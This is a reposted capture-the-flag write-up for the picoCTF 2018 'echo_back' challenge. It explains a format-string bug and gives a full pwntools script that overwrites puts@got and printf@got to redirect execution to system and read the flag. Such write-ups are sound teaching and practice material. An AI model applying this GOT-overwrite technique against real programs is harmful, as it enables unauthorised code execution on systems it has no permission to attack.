码迷,mamicode.com
首页 > 其他好文 > 详细

picoctf_2018_echo_back

时间:2021-06-05 18:01:10      阅读:0      评论:0      收藏:0      [点我收藏+]

标签:import   格式化   toc   fse   blank   com   short   head   send   

picoctf_2018_echo_back

题目分析

简单的格式化字符串,修改got@pusmain函数地址制造循环即可:

  • 先制造循环
  • 修改printf@gotsystem@plt
  • 输入/bin/sh获取shell

最终EXP

from pwn import *

sh:tube = process(‘./PicoCTF_2018_echo_back‘)
cur_elf:ELF = all_parsed_args[‘cur_elf‘]

puts_got_addr = cur_elf.got[‘puts‘]
printf_got_addr = cur_elf.got[‘printf‘]
system_plt_addr = cur_elf.plt[‘system‘]
main_addr = cur_elf.sym[‘main‘]

context.arch = "i386"
payload = fmtstr_payload(offset=7, writes={puts_got_addr: main_addr}, write_size="short", write_size_max="short")

sh.recv()
sh.sendline(payload)

payload = fmtstr_payload(offset=7, writes={printf_got_addr: system_plt_addr}, write_size="short", write_size_max="short")
sh.recv()

sleep(2)

sh.sendline(payload)

sh.recv()

sleep(2)

# sh.sendline("/bin/sh")

sh.sendline(‘cat flag‘)

sh.interactive()

远程打:

技术图片

引用与参考

1、My Blog

picoctf_2018_echo_back

标签:import   格式化   toc   fse   blank   com   short   head   send   

原文地址:https://www.cnblogs.com/LynneHuan/p/14843453.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!